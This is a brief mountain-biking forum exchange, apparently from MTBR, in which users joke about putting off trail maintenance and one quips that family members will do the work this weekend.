    Reputation: Nagaredama's Avatar
    Join Date
    Aug 2004
    Posts
    2,273
    Quote Originally Posted by 2w4s
    management decided it would be more cost effective to drink beer and watch TV instead, may need to outsource S.Cage as it doesn't really coincide with this trail crew's LOB. Capital equipment is already installed, just need an investor.
    I'll get my underage workers and my wife working on it this weekend.

Members who have read this thread: 0

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  

THE SITE

ABOUT MTBR

VISIT US AT

© Copyright 2019 VerticalScope Inc. All rights reserved.